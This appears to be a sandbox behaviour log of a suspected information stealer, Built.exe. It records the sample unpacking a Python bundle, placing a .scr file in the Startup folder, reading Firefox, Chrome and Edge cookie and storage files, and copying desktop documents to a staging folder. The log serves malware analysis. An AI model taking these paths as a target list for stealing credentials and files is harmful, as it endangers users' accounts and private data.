Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\blank.aes VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\blank.aes VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\blank.aes VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\blank.aes VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\blank.aes VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\blank.aes VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\_lzma.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\_bz2.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\_sqlite3.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\_socket.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\select.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ? .scr VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\base_library.zip VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\Built.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\_MEI6522\unicodedata.pyd VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\content-prefs.sqlite VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\favicons.sqlite VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\permissions.sqlite VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\places.sqlite VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\protections.sqlite VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage.sqlite VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\webappsstore.sqlite VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\ls-archive.sqlite VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1451318868ntouromlalnodry--epcr.sqlite VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\1657114595AmcateirvtiSty.sqlite VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2823318777ntouromlalnodry--naod.sqlite VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\2918063365piupsah.sqlite VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3561288849sdhlie.sqlite VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\storage\permanent\chrome\idb\3870112724rsegmnoittet-es.sqlite VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\000003.log VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\000003.log VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Storage\leveldb\000003.log VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\000003.log VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Local Storage\leveldb\000003.log VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\BJZFPPWAPT.docx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\BJZFPPWAPT.docx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\BJZFPPWAPT.docx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\BJZFPPWAPT.docx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\?? ? ??? \Common Files\Desktop\BJZFPPWAPT.docx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\BJZFPPWAPT.docx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\BJZFPPWAPT.jpg VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\BJZFPPWAPT.jpg VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\BJZFPPWAPT.jpg VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\?? ? ??? \Common Files\Desktop\BJZFPPWAPT.jpg VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\BJZFPPWAPT.jpg VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\BJZFPPWAPT.xlsx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\BJZFPPWAPT.xlsx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\?? ? ??? \Common Files\Desktop\BJZFPPWAPT.xlsx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\BJZFPPWAPT.xlsx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\DUUDTUBZFW.mp3 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\DUUDTUBZFW.mp3 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\DUUDTUBZFW.mp3 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\?? ? ??? \Common Files\Desktop\DUUDTUBZFW.mp3 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\DUUDTUBZFW.mp3 VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\DUUDTUBZFW.pdf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\DUUDTUBZFW.pdf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\DUUDTUBZFW.pdf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\DUUDTUBZFW.pdf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\?? ? ??? \Common Files\Desktop\DUUDTUBZFW.pdf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\DUUDTUBZFW.pdf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\DUUDTUBZFW.xlsx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\?? ? ??? \Common Files\Desktop\DUUDTUBZFW.xlsx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\EFOYFBOLXA.docx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\EFOYFBOLXA.docx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\?? ? ??? \Common Files\Desktop\EFOYFBOLXA.docx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\EFOYFBOLXA.docx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\EFOYFBOLXA.xlsx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\EFOYFBOLXA.xlsx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\EFOYFBOLXA.xlsx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\?? ? ??? \Common Files\Desktop\EFOYFBOLXA.xlsx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\EFOYFBOLXA.xlsx VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\EIVQSAOTAQ.pdf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\?? ? ??? \Common Files\Desktop\EIVQSAOTAQ.pdf VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\EWZCVGNOWT.png VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\Built.exe	Queries volume information: C:\Users\user\Desktop\EWZCVGNOWT.png VolumeInformation
